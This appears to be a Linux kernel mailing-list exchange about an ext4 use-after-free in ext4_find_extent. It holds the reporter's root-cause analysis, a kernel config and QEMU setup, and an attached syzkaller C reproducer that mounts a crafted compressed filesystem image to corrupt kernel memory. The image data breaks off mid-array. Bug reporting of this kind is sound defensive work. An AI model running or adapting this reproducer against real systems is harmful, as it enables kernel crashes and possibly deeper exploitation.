Re: Re: [PATCH] ext4: Fix KASAN slab-use-after-free in ext4_find_extent due to corrupted eh_entries

[余昊铖]

Hi,

Thank you for your advice. For the reproduction, I can trigger 'BUG: KASAN: slab-use-after-free in ext4_find_extent' on my computer stably using the original reproducer. And I only modified a few options in the kernel config(the exact kernel config is in the attachments):


CONFIG_KCOV=y
 
CONFIG_DEBUG_INFO_DWARF4=y
 
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y
 
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y

CONFIG_VIRTIO_NET=y
CONFIG_E1000=y
CONFIG_E1000E=y
 
CONFIG_CMDLINE_BOOL=y
CONFIG_CMDLINE="net.ifnames=0"


And I run the reproducer in qemu with command:


sudo qemu-system-x86_64 \
  -m 2G \
  -smp 2 \
  -kernel /mushome/lizao/patch/linux-6.12.51/arch/x86/boot/bzImage \
  -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0 panic_on_warn=1 panic_on_oops=1" \
  -drive file=/mushome/lizao/patch/image/bullseye.img,format=raw \
  -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
  -net nic,model=e1000 \
  -enable-kvm \
  -nographic \
  -pidfile vm.pid \
  2>&1 | tee vm.log


So I think something went wrong when I simplified the reproducer. Sorry for my mistake.

And for the deeper analysis, in ext4_iget() (fs/ext4/inode.c), we only call ext4_ext_check_inode() if the inode does not have inline 
data. But the malicious image sets both EXT4_INODE_EXTENTS and EXT4_INLINE_DATA on inode #15. This combination is normally contradictory, but ext4 accepts it, so the inline-data guard short-circuits the extent sanity check entirely. Because of that, the extent root stored inside i_block is never validated even though this inode is later treated as an extent-based regular file. When ext4_find_extent() runs, it trusts the forged header (eh_entries >> eh_max) and calls ext4_ext_binsearch(), which in turn uses EXT_LAST_EXTENT() and walks well past the inline i_block area. The pointers land in unrelated slab objects and trigger the KASAN slab-UAF you saw.

The core bug is that ext4 permits EXT4_INLINE_DATA and EXT4_INODE_EXTENTS to coexist without revalidating the inline extent tree. A crafted inode can therefore bypass __ext4_ext_check(), poison eh_entries, and later crash the kernel as soon as any extent traversal occurs.

Hope this clarifies the root cause and why my patch is validate. Thanks.


> On Mon, Dec 01, 2025 at 11:17:12PM +0800, ????????? wrote:
> > Hello,
> > 
> > I would like to report a potential security issue in the Linux
> > kernel ext4 filesystem, which I found using a modified
> > syzkaller-based kernel fuzzing tool that I developed.
> 
> Thank you for submitting this bug report, and thank you for doing the
> work to create a simplified reproducer and doing the initial analysis.
> It is much appreciated.  Unfortunately, I haven't been able to
> reproduce the issue.  You didn't send me the exact kernel config that
> you used, so I used my default kernel config that I use by testing
> via:
> 
> % install-kconfig --kasan
> % kbuild
> 
> ... using the kvm-xfstests utilities that can be found at [1], in the
> kernel-build directory.
> 
>        https://github.com/tytso/xfstests-bld
> 
> I tried using both the latest mainline kernel, as well as 6.12.51,
> this that was your reported that you were doing your testing.
> 
> % kvm-xfstests shell
>     ...
> root@kvm-xfstests:~# uname -a 
> Linux kvm-xfstests 6.18.0-rc7-xfstests-kasan-01168-g7b2a79c93971 #312 SMP PREEMPT_DYNAMIC Mon Dec  1 21:30:56 EST 2025 x86_64 GNU/Linux
> root@kvm-xfstests:~# cd /vtmp/   
> root@kvm-xfstests:/vtmp# ./repro_simplified 
> [*] Using loop device: /dev/loop0
> [   14.949088] loop0: detected capacity change from 0 to 512
> [   14.953285] EXT4-fs warning (device loop0): ext4_multi_mount_protect:324: MMP interval 42 higher than expected, please wait.
> [   14.953285] 
> [   59.461261] EXT4-fs (loop0): warning: mounting unchecked fs, running e2fsck is recommended
> [   59.463299] EXT4-fs (loop0): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: writeback.
> [*] Mounted image.img to ./mnt
> [*] Triggering bug...
> [*] sendfile returned: 170
> [*] Done. If kernel didn't crash, the repro finished.
> root@kvm-xfstests:/vtmp# 
> 
> So I then took a look at the code in question, and at your proposed
> patch.  If you could do some more analysis, please take a look at all
> of the checks done by the function __ext4_ext_check(), which
> implements the checks in the functions ext4_ext_check_inode() and
> ext4_ext_check().  These functions get called when the inode is read
> into memory (for the root extent tree in the inode) or when an extent
> tree block is read into memory.
> 
> So I'm not sure why your patch would make a difference --- and given
> that your simplified reproducer isn't triggering the crash, even when
> KASAN is enabled, I can't validate whether your patch *would* make a
> difference.
> 
> Could you try to do a deeper analysis?   Thanks,
> 
> 						- Ted

Attachment: .config
Description: Binary data

#define _GNU_SOURCE

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <setjmp.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include <linux/loop.h>

#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif

static unsigned long long procid;

static long syz_create_resource(volatile long val)
{
  return val;
}

//% This code is derived from puff.{c,h}, found in the zlib development. The
//% original files come with the following copyright notice:

//% Copyright (C) 2002-2013 Mark Adler, all rights reserved
//% version 2.3, 21 Jan 2013
//% This software is provided 'as-is', without any express or implied
//% warranty.  In no event will the author be held liable for any damages
//% arising from the use of this software.
//% Permission is granted to anyone to use this software for any purpose,
//% including commercial applications, and to alter it and redistribute it
//% freely, subject to the following restrictions:
//% 1. The origin of this software must not be misrepresented; you must not
//%    claim that you wrote the original software. If you use this software
//%    in a product, an acknowledgment in the product documentation would be
//%    appreciated but is not required.
//% 2. Altered source versions must be plainly marked as such, and must not be
//%    misrepresented as being the original software.
//% 3. This notice may not be removed or altered from any source distribution.
//% Mark Adler    madler@xxxxxxxxxxxxxxxxxx

//% BEGIN CODE DERIVED FROM puff.{c,h}

#define MAXBITS 15
#define MAXLCODES 286
#define MAXDCODES 30
#define MAXCODES (MAXLCODES + MAXDCODES)
#define FIXLCODES 288

struct puff_state {
  unsigned char* out;
  unsigned long outlen;
  unsigned long outcnt;
  const unsigned char* in;
  unsigned long inlen;
  unsigned long incnt;
  int bitbuf;
  int bitcnt;
  jmp_buf env;
};
static int puff_bits(struct puff_state* s, int need)
{
  long val = s->bitbuf;
  while (s->bitcnt < need) {
    if (s->incnt == s->inlen)
      longjmp(s->env, 1);
    val |= (long)(s->in[s->incnt++]) << s->bitcnt;
    s->bitcnt += 8;
  }
  s->bitbuf = (int)(val >> need);
  s->bitcnt -= need;
  return (int)(val & ((1L << need) - 1));
}
static int puff_stored(struct puff_state* s)
{
  s->bitbuf = 0;
  s->bitcnt = 0;
  if (s->incnt + 4 > s->inlen)
    return 2;
  unsigned len = s->in[s->incnt++];
  len |= s->in[s->incnt++] << 8;
  if (s->in[s->incnt++] != (~len & 0xff) ||
      s->in[s->incnt++] != ((~len >> 8) & 0xff))
    return -2;
  if (s->incnt + len > s->inlen)
    return 2;
  if (s->outcnt + len > s->outlen)
    return 1;
  for (; len--; s->outcnt++, s->incnt++) {
    if (s->in[s->incnt])
      s->out[s->outcnt] = s->in[s->incnt];
  }
  return 0;
}
struct puff_huffman {
  short* count;
  short* symbol;
};
static int puff_decode(struct puff_state* s, const struct puff_huffman* h)
{
  int first = 0;
  int index = 0;
  int bitbuf = s->bitbuf;
  int left = s->bitcnt;
  int code = first = index = 0;
  int len = 1;
  short* next = h->count + 1;
  while (1) {
    while (left--) {
      code |= bitbuf & 1;
      bitbuf >>= 1;
      int count = *next++;
      if (code - count < first) {
        s->bitbuf = bitbuf;
        s->bitcnt = (s->bitcnt - len) & 7;
        return h->symbol[index + (code - first)];
      }
      index += count;
      first += count;
      first <<= 1;
      code <<= 1;
      len++;
    }
    left = (MAXBITS + 1) - len;
    if (left == 0)
      break;
    if (s->incnt == s->inlen)
      longjmp(s->env, 1);
    bitbuf = s->in[s->incnt++];
    if (left > 8)
      left = 8;
  }
  return -10;
}
static int puff_construct(struct puff_huffman* h, const short* length, int n)
{
  int len;
  for (len = 0; len <= MAXBITS; len++)
    h->count[len] = 0;
  int symbol;
  for (symbol = 0; symbol < n; symbol++)
    (h->count[length[symbol]])++;
  if (h->count[0] == n)
    return 0;
  int left = 1;
  for (len = 1; len <= MAXBITS; len++) {
    left <<= 1;
    left -= h->count[len];
    if (left < 0)
      return left;
  }
  short offs[MAXBITS + 1];
  offs[1] = 0;
  for (len = 1; len < MAXBITS; len++)
    offs[len + 1] = offs[len] + h->count[len];
  for (symbol = 0; symbol < n; symbol++)
    if (length[symbol] != 0)
      h->symbol[offs[length[symbol]]++] = symbol;
  return left;
}
static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode,
                      const struct puff_huffman* distcode)
{
  static const short lens[29] = {3,  4,  5,  6,   7,   8,   9,   10,  11, 13,
                                 15, 17, 19, 23,  27,  31,  35,  43,  51, 59,
                                 67, 83, 99, 115, 131, 163, 195, 227, 258};
  static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2,
                                 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};
  static const short dists[30] = {
      1,    2,    3,    4,    5,    7,    9,    13,    17,    25,
      33,   49,   65,   97,   129,  193,  257,  385,   513,   769,
      1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577};
  static const short dext[30] = {0, 0, 0,  0,  1,  1,  2,  2,  3,  3,
                                 4, 4, 5,  5,  6,  6,  7,  7,  8,  8,
                                 9, 9, 10, 10, 11, 11, 12, 12, 13, 13};
  int symbol;
  do {
    symbol = puff_decode(s, lencode);
    if (symbol < 0)
      return symbol;
    if (symbol < 256) {
      if (s->outcnt == s->outlen)
        return 1;
      if (symbol)
        s->out[s->outcnt] = symbol;
      s->outcnt++;
    } else if (symbol > 256) {
      symbol -= 257;
      if (symbol >= 29)
        return -10;
      int len = lens[symbol] + puff_bits(s, lext[symbol]);
      symbol = puff_decode(s, distcode);
      if (symbol < 0)
        return symbol;
      unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]);
      if (dist > s->outcnt)
        return -11;
      if (s->outcnt + len > s->outlen)
        return 1;
      while (len--) {
        if (dist <= s->outcnt && s->out[s->outcnt - dist])
          s->out[s->outcnt] = s->out[s->outcnt - dist];
        s->outcnt++;
      }
    }
  } while (symbol != 256);
  return 0;
}
static int puff_fixed(struct puff_state* s)
{
  static int virgin = 1;
  static short lencnt[MAXBITS + 1], lensym[FIXLCODES];
  static short distcnt[MAXBITS + 1], distsym[MAXDCODES];
  static struct puff_huffman lencode, distcode;
  if (virgin) {
    lencode.count = lencnt;
    lencode.symbol = lensym;
    distcode.count = distcnt;
    distcode.symbol = distsym;
    short lengths[FIXLCODES];
    int symbol;
    for (symbol = 0; symbol < 144; symbol++)
      lengths[symbol] = 8;
    for (; symbol < 256; symbol++)
      lengths[symbol] = 9;
    for (; symbol < 280; symbol++)
      lengths[symbol] = 7;
    for (; symbol < FIXLCODES; symbol++)
      lengths[symbol] = 8;
    puff_construct(&lencode, lengths, FIXLCODES);
    for (symbol = 0; symbol < MAXDCODES; symbol++)
      lengths[symbol] = 5;
    puff_construct(&distcode, lengths, MAXDCODES);
    virgin = 0;
  }
  return puff_codes(s, &lencode, &distcode);
}
static int puff_dynamic(struct puff_state* s)
{
  static const short order[19] = {16, 17, 18, 0, 8,  7, 9,  6, 10, 5,
                                  11, 4,  12, 3, 13, 2, 14, 1, 15};
  int nlen = puff_bits(s, 5) + 257;
  int ndist = puff_bits(s, 5) + 1;
  int ncode = puff_bits(s, 4) + 4;
  if (nlen > MAXLCODES || ndist > MAXDCODES)
    return -3;
  short lengths[MAXCODES];
  int index;
  for (index = 0; index < ncode; index++)
    lengths[order[index]] = puff_bits(s, 3);
  for (; index < 19; index++)
    lengths[order[index]] = 0;
  short lencnt[MAXBITS + 1], lensym[MAXLCODES];
  struct puff_huffman lencode = {lencnt, lensym};
  int err = puff_construct(&lencode, lengths, 19);
  if (err != 0)
    return -4;
  index = 0;
  while (index < nlen + ndist) {
    int symbol;
    int len;
    symbol = puff_decode(s, &lencode);
    if (symbol < 0)
      return symbol;
    if (symbol < 16)
      lengths[index++] = symbol;
    else {
      len = 0;
      if (symbol == 16) {
        if (index == 0)
          return -5;
        len = lengths[index - 1];
        symbol = 3 + puff_bits(s, 2);
      } else if (symbol == 17)
        symbol = 3 + puff_bits(s, 3);
      else
        symbol = 11 + puff_bits(s, 7);
      if (index + symbol > nlen + ndist)
        return -6;
      while (symbol--)
        lengths[index++] = len;
    }
  }
  if (lengths[256] == 0)
    return -9;
  err = puff_construct(&lencode, lengths, nlen);
  if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1]))
    return -7;
  short distcnt[MAXBITS + 1], distsym[MAXDCODES];
  struct puff_huffman distcode = {distcnt, distsym};
  err = puff_construct(&distcode, lengths + nlen, ndist);
  if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1]))
    return -8;
  return puff_codes(s, &lencode, &distcode);
}
static int puff(unsigned char* dest, unsigned long* destlen,
                const unsigned char* source, unsigned long sourcelen)
{
  struct puff_state s = {
      .out = dest,
      .outlen = *destlen,
      .outcnt = 0,
      .in = source,
      .inlen = sourcelen,
      .incnt = 0,
      .bitbuf = 0,
      .bitcnt = 0,
  };
  int err;
  if (setjmp(s.env) != 0)
    err = 2;
  else {
    int last;
    do {
      last = puff_bits(&s, 1);
      int type = puff_bits(&s, 2);
      err = type == 0 ? puff_stored(&s)
                      : (type == 1 ? puff_fixed(&s)
                                   : (type == 2 ? puff_dynamic(&s) : -1));
      if (err != 0)
        break;
    } while (!last);
  }
  *destlen = s.outcnt;
  return err;
}

//% END CODE DERIVED FROM puff.{c,h}

#define ZLIB_HEADER_WIDTH 2

static int puff_zlib_to_file(const unsigned char* source,
                             unsigned long sourcelen, int dest_fd)
{
  if (sourcelen < ZLIB_HEADER_WIDTH)
    return 0;
  source += ZLIB_HEADER_WIDTH;
  sourcelen -= ZLIB_HEADER_WIDTH;
  const unsigned long max_destlen = 132 << 20;
  void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ,
                   MAP_PRIVATE | MAP_ANON, -1, 0);
  if (ret == MAP_FAILED)
    return -1;
  unsigned char* dest = (unsigned char*)ret;
  unsigned long destlen = max_destlen;
  int err = puff(dest, &destlen, source, sourcelen);
  if (err) {
    munmap(dest, max_destlen);
    errno = -err;
    return -1;
  }
  if (write(dest_fd, dest, destlen) != (ssize_t)destlen) {
    munmap(dest, max_destlen);
    return -1;
  }
  return munmap(dest, max_destlen);
}

static int setup_loop_device(unsigned char* data, unsigned long size,
                             const char* loopname, int* loopfd_p)
{
  int err = 0, loopfd = -1;
  int memfd = syscall(__NR_memfd_create, "syzkaller", 0);
  if (memfd == -1) {
    err = errno;
    goto error;
  }
  if (puff_zlib_to_file(data, size, memfd)) {
    err = errno;
    goto error_close_memfd;
  }
  loopfd = open(loopname, O_RDWR);
  if (loopfd == -1) {
    err = errno;
    goto error_close_memfd;
  }
  if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
    if (errno != EBUSY) {
      err = errno;
      goto error_close_loop;
    }
    ioctl(loopfd, LOOP_CLR_FD, 0);
    usleep(1000);
    if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
      err = errno;
      goto error_close_loop;
    }
  }
  close(memfd);
  *loopfd_p = loopfd;
  return 0;

error_close_loop:
  close(loopfd);
error_close_memfd:
  close(memfd);
error:
  errno = err;
  return -1;
}

static void reset_loop_device(const char* loopname)
{
  int loopfd = open(loopname, O_RDWR);
  if (loopfd == -1) {
    return;
  }
  if (ioctl(loopfd, LOOP_CLR_FD, 0)) {
  }
  close(loopfd);
}

static long syz_mount_image(volatile long fsarg, volatile long dir,
                            volatile long flags, volatile long optsarg,
                            volatile long change_dir,
                            volatile unsigned long size, volatile long image)
{
  unsigned char* data = (unsigned char*)image;
  int res = -1, err = 0, need_loop_device = !!size;
  char* mount_opts = (char*)optsarg;
  char* target = (char*)dir;
  char* fs = (char*)fsarg;
  char* source = NULL;
  char loopname[64];
  if (need_loop_device) {
    int loopfd;
    memset(loopname, 0, sizeof(loopname));
    snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
    if (setup_loop_device(data, size, loopname, &loopfd) == -1)
      return -1;
    close(loopfd);
    source = loopname;
  }
  mkdir(target, 0777);
  char opts[256];
  memset(opts, 0, sizeof(opts));
  if (strlen(mount_opts) > (sizeof(opts) - 32)) {
  }
  strncpy(opts, mount_opts, sizeof(opts) - 32);
  if (strcmp(fs, "iso9660") == 0) {
    flags |= MS_RDONLY;
  } else if (strncmp(fs, "ext", 3) == 0) {
    bool has_remount_ro = false;
    char* remount_ro_start = strstr(opts, "errors=remount-ro");
    if (remount_ro_start != NULL) {
      char after = *(remount_ro_start + strlen("errors=remount-ro"));
      char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1);
      has_remount_ro = ((before == '\0' || before == ',') &&
                        (after == '\0' || after == ','));
    }
    if (strstr(opts, "errors=panic") || !has_remount_ro)
      strcat(opts, ",errors=continue");
  } else if (strcmp(fs, "xfs") == 0) {
    strcat(opts, ",nouuid");
  } else if (strncmp(fs, "gfs2", 4) == 0 &&
             (strstr(opts, "errors=panic") || strstr(opts, "debug"))) {
    strcat(opts, ",errors=withdraw");
  }
  res = mount(source, target, fs, flags, opts);
  if (res == -1) {
    err = errno;
    goto error_clear_loop;
  }
  res = open(target, O_RDONLY | O_DIRECTORY);
  if (res == -1) {
    err = errno;
    goto error_clear_loop;
  }
  if (change_dir) {
    res = chdir(target);
    if (res == -1) {
      err = errno;
    }
  }

error_clear_loop:
  if (need_loop_device)
    reset_loop_device(loopname);
  errno = err;
  return res;
}

uint64_t r[4] = {0x0, 0xffffffffffffffff, 0x0, 0xffffffffffffffff};

int main(void)
{
  syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
          /*fd=*/(intptr_t)-1, /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul,
          /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
          /*fd=*/(intptr_t)-1, /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
          /*fd=*/(intptr_t)-1, /*offset=*/0ul);
  const char* reason;
  (void)reason;
  intptr_t res = 0;
  if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
  }
  //  syz_mount_image$ext4 arguments: [
  //    fs: ptr[in, buffer] {
  //      buffer: {65 78 74 34 00} (length 0x5)
  //    }
  //    dir: ptr[in, buffer] {
  //      buffer: {2e 2f 66 69 6c 65 30 00} (length 0x8)
  //    }
  //    flags: mount_flags = 0x0 (8 bytes)
  //    opts: ptr[in, fs_options[ext4_options]] {
  //      fs_options[ext4_options] {
  //        elems: array[fs_opt_elem[ext4_options]] {
  //          fs_opt_elem[ext4_options] {
  //            elem: union ext4_options {
  //              inode_readahead_blks: fs_opt["inode_readahead_blks", fmt[hex,
  //              flags[ext4_inode_readahead_blks]]] {
  //                name: buffer: {69 6e 6f 64 65 5f 72 65 61 64 61 68 65 61 64
  //                5f 62 6c 6b 73} (length 0x14) eq: const = 0x3d (1 bytes)
  //                val: ext4_inode_readahead_blks = 0x200000 (18 bytes)
  //              }
  //            }
  //            comma: const = 0x2c (1 bytes)
  //          }
  //          fs_opt_elem[ext4_options] {
  //            elem: union ext4_options {
  //              usrjquota: buffer: {75 73 72 6a 71 75 6f 74 61 3d} (length
  //              0xa)
  //            }
  //            comma: const = 0x2c (1 bytes)
  //          }
  //          fs_opt_elem[ext4_options] {
  //            elem: union ext4_options {
  //              nojournal_checksum: buffer: {6e 6f 6a 6f 75 72 6e 61 6c 5f 63
  //              68 65 63 6b 73 75 6d} (length 0x12)
  //            }
  //            comma: const = 0x2c (1 bytes)
  //          }
  //          fs_opt_elem[ext4_options] {
  //            elem: union ext4_options {
  //              stripe: fs_opt["stripe", fmt[hex, int32]] {
  //                name: buffer: {73 74 72 69 70 65} (length 0x6)
  //                eq: const = 0x3d (1 bytes)
  //                val: int32 = 0x24 (18 bytes)
  //              }
  //            }
  //            comma: const = 0x2c (1 bytes)
  //          }
  //          fs_opt_elem[ext4_options] {
  //            elem: union ext4_options {
  //              usrquota: buffer: {75 73 72 71 75 6f 74 61} (length 0x8)
  //            }
  //            comma: const = 0x2c (1 bytes)
  //          }
  //          fs_opt_elem[ext4_options] {
  //            elem: union ext4_options {
  //              mb_optimize_scan: fs_opt["mb_optimize_scan", fmt[hex,
  //              int32[0:1]]] {
  //                name: buffer: {6d 62 5f 6f 70 74 69 6d 69 7a 65 5f 73 63 61
  //                6e} (length 0x10) eq: const = 0x3d (1 bytes) val: int32 =
  //                0x1 (18 bytes)
  //              }
  //            }
  //            comma: const = 0x2c (1 bytes)
  //          }
  //        }
  //        common: array[fs_opt_elem[fs_options_common]] {
  //        }
  //        null: const = 0x0 (1 bytes)
  //      }
  //    }
  //    chdir: int8 = 0x1 (1 bytes)
  //    size: len = 0x46f (8 bytes)
  //    img: ptr[in, buffer] {
  //      buffer: (compressed buffer with length 0x46f)
  //    }
  //  ]
  //  returns fd_dir
  memcpy((void*)0x200000000b80, "ext4\000", 5);
  memcpy((void*)0x200000000000, "./file0\000", 8);
  memcpy((void*)0x200000000ac0, "inode_readahead_blks", 20);
  *(uint8_t*)0x200000000ad4 = 0x3d;
  sprintf((char*)0x200000000ad5, "0x%016llx", (long long)0x200000);
  *(uint8_t*)0x200000000ae7 = 0x2c;
  memcpy((void*)0x200000000ae8, "usrjquota=", 10);
  *(uint8_t*)0x200000000af2 = 0x2c;
  memcpy((void*)0x200000000af3, "nojournal_checksum", 18);
  *(uint8_t*)0x200000000b05 = 0x2c;
  memcpy((void*)0x200000000b06, "stripe", 6);
  *(uint8_t*)0x200000000b0c = 0x3d;
  sprintf((char*)0x200000000b0d, "0x%016llx", (long long)0x24);
  *(uint8_t*)0x200000000b1f = 0x2c;
  memcpy((void*)0x200000000b20, "usrquota", 8);
  *(uint8_t*)0x200000000b28 = 0x2c;
  memcpy((void*)0x200000000b29, "mb_optimize_scan", 16);
  *(uint8_t*)0x200000000b39 = 0x3d;
  sprintf((char*)0x200000000b3a, "0x%016llx", (long long)1);
  *(uint8_t*)0x200000000b4c = 0x2c;
  *(uint8_t*)0x200000000b4d = 0;
  memcpy(
      (void*)0x200000000540,
      "\x78\x9c\xec\xdd\xbf\x6f\x5b\x55\x1b\x00\xe0\xf7\x3a\x3f\xbf\x34\x6d\xf2"
      "\x41\x07\x84\x54\x11\x41\x25\x10\x55\xed\x38\x96\x2a\x65\x6b\x61\x60\xa1"
      "\x08\xa9\x88\x81\x0e\x69\xd4\xba\x4e\x14\x3b\x8e\x62\x47\x6a\x32\xb5\x30"
      "\xb2\xb2\x30\xb6\x0b\x5b\xda\x0d\x31\x20\xa1\x0e\x1d\x61\xe5\x6f\x40\xaa"
      "\x40\x02\x26\x06\x23\xdb\xd7\xa9\x9b\xc4\x24\x85\xa4\x96\xe2\xe7\x91\x8e"
      "\x7d\xce\x3d\x8e\xcf\xbd\x7e\xef\xbd\xe7\xea\x1d\x72\x02\x18\x58\x33\x11"
      "\x71\x37\x22\x46\x23\xe2\x46\x44\x4c\xa5\xdb\x93\xb4\xc4\xe5\x76\x69\x7e"
      "\x6e\xbb\xf0\x68\xa9\x59\x92\x68\x34\xae\xfd\x9a\xb4\xfa\x1f\x14\x1e\x2d"
      "\x45\xd7\xdf\x34\x9d\x6a\xbe\x64\x22\x5e\x8b\x88\xc7\x1f\x24\x71\xe1\xee"
      "\xde\x71\x6b\x9b\x5b\x2b\x8b\xe5\x72\x71\x3d\x6d\xe7\xea\x95\xb5\x5c\x6d"
      "\x73\xeb\xe2\x72\x65\xb1\x54\x2c\x15\x57\xf3\xf9\x4b\xf3\x85\xc2\x6c\x7e"
      "\x6e\xfe\xc8\x8e\x75\xe1\xf3\x27\x7f\x9e\x7b\xf8\xfe\x93\x2f\xce\xe7\xbe"
      "\x8d\x2f\xbf\x7b\x2f\x89\xcb\x31\x99\xf6\x75\x1f\xc7\x51\x99\x89\x99\xf4"
      "\x37\x19\x89\xd3\x5d\xdb\x87\x23\xe2\xda\x51\x0f\xd6\x67\x93\x5d\xf5\x64"
      "\xb8\x8f\x3b\xc2\x0b\xc9\x44\xc4\x2b\x11\xf1\x66\xeb\xfa\x9f\x8a\xa1\x10"
      "\x3c\x00\x38\xe9\x1a\x8d\xa9\x68\x4c\x75\xb7\x01\x80\x93\x2e\xd3\xca\xdd"
      "\x24\x99\x6c\x9a\x0b\x98\x8c\x4c\x26\x9b\x6d\xe7\xf0\xce\xc6\x44\xa6\x5c"
      "\xad\xd5\x2f\xdc\xae\x6e\xac\xde\x6a\xe7\x78\xa6\x63\x24\x73\x7b\xb9\x5c"
      "\x9c\x4d\x73\x85\xd3\x31\x92\x34\xdb\xf9\x56\xfd\x59\x7b\x6e\x57\xbb\x10"
      "\x11\xff\x8f\x88\xaf\xc6\xfe\xd7\x6a\x67\x6f\x56\xcb\xb7\xfa\xf9\xe0\x03"
      "\x00\x03\xec\xd4\xae\xf9\xff\x8f\xb1\xf6\xfc\x0f\x00\x9c\x70\xe3\xfd\xde"
      "\x01\x00\xe0\xa5\x33\xff\x03\xc0\xe0\x31\xff\x03\xc0\xe0\x31\xff\x03\xc0"
      "\xe0\x31\xff\x03\xc0\xe0\x31\xff\x03\xc0\xe0\x31\xff\x03\x00\x00\xc0\x89"
      "\xf6\xf1\xd5\xab\xcd\xd2\xd8\x4e\xd7\xbf\x58\xad\x96\x96\x57\x96\xd6\xe6"
      "\xe7\x66\xb3\x95\x8d\x9b\xd9\x9b\xd5\xf5\xb5\x6c\xa9\x5a\x2d\xb5\xfe\x63"
      "\x5f\xe5\xe0\xef\x2b\x57\xab\x6b\xf9\xb9\xd8\xb8\x93\xab\x17\x6b\xf5\x5c"
      "\x6d\x73\x6b\xa1\x52\xdd\x58\xad\x2f\xb4\xd6\xf5\x58\x28\x8e\xbc\x84\x63"
      "\x02\x00\xfe\xd9\xce\x3a\x5c\x2a\x2a\x2a\x2a\x3b\x95\x7e\xdf\x99\x80\xe3"
      "\xf6\xec\xa2\xef\xf7\x9e\x00\x00\x00\x00\x00\x00\x47\xa5\xd1\x48\xac\xf9"
      "\x0f\x00\x03\x66\xb2\xc7\xfa\xff\xa7\xbb\xd6\xee\x9f\x8d\x88\x33\x11\xf1"
      "\xf3\xd8\xc8\x58\x67\xad\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x18\x04\x0f\x0a\x8f\x96\x3a\xa5\xdf\xfb\xc2\xcb\xf3\xf4\x4a\x44\x8c\xb7"
      "\xe3\xbf\x9d\x96\x76\xcf\x70\x0c\xb7\xde\xc7\x63\x24\x22\x26\x7e\x4f\xd2"
      "\x76\x5b\x12\x11\x43\x47\x30\xfe\x4c\x44\xfc\xf6\xa0\xf2\x7d\xb3\x44\x7a"
      "\x1e\x1e\xc1\xd7\x02\x00\xd0\xc3\xdd\x7b\x11\x71\x63\x7a\x66\xef\xf3\xff"
      "\xf3\xcf\x7b\xff\xc6\xe4\x21\x3e\x33\xb3\xab\xed\xf9\x0f\x00\x8e\xdf\x0f"
      "\x57\x22\xe2\xf2\x7e\xf9\xbf\x4c\x3a\x37\x8f\xb7\x5e\x77\xe7\x7f\xc6\x5b"
      "\x19\xa2\xff\xce\xfc\xdf\x5f\x9d\xfc\xdf\xf6\x9e\xfc\x5f\x66\x27\xff\x37"
      "\xd4\x23\xff\xf7\xea\x21\xc7\xb8\xfe\xd1\xfd\x4f\x7b\xf5\x75\xe7\xff\x9a"
      "\xa5\x39\x7e\x27\x17\xc8\xf1\x7b\x7a\x2f\xe2\xf5\xe1\xfd\xe2\x9f\xec\xc4"
      "\x3f\xe9\x11\xff\x33\x87\x1c\xe3\xeb\x73\xdf\xd4\x7a\xf5\x89\x7f\x7f\x35"
      "\xee\x47\xbc\x1d\xfb\xc7\xbf\xa3\x59\xcb\xd5\x2b\x6b\xb9\xda\xe6\xd6\xc5"
      "\xe5\xca\x62\xa9\x58\x2a\xae\xe6\xf3\x97\xe6\x0b\x85\xd9\xfc\xdc\x7c\xee"
      "\xf6\x72\xb9\x38\xdb\x7e\xdd\x77\x8c\x3b\x3f\xfd\xf5\xa4\xd7\xf8\xe2\xdf"
      "\x5f\xcd\xeb\x7f\xa2\x47\xfc\x0f\xba\xff\x4f\x1d\x72\x8c\xd1\xb5\xc7\x2b"
      "\xbd\xfa\x0e\x8e\x7f\xe6\x97\xd1\xe4\x93\xd6\xc9\x38\x9a\x6e\xb9\xb3\x58"
      "\xaf\xaf\xe7\x23\x46\x93\x0f\xf7\x6e\x9f\x7b\x91\xa3\x1f\x3c\x9d\xdf\xa8"
      "\xf3\x1b\x36\xe3\xff\xce\x5b\xfb\xcf\xff\x67\x5b\xef\x9d\xfb\xff\xd0\x73"
      "\xf1\xcf\x44\xc4\x74\xfa\x9e\x49\xe3\x38\x9c\x9e\x17\xef\xee\x1a\xf3\x8d"
      "\xeb\x0f\x7f\xec\xb5\x3f\xae\xff\xfe\x6a\xc6\xff\xd6\x01\xd7\x7f\xaf\xf9"
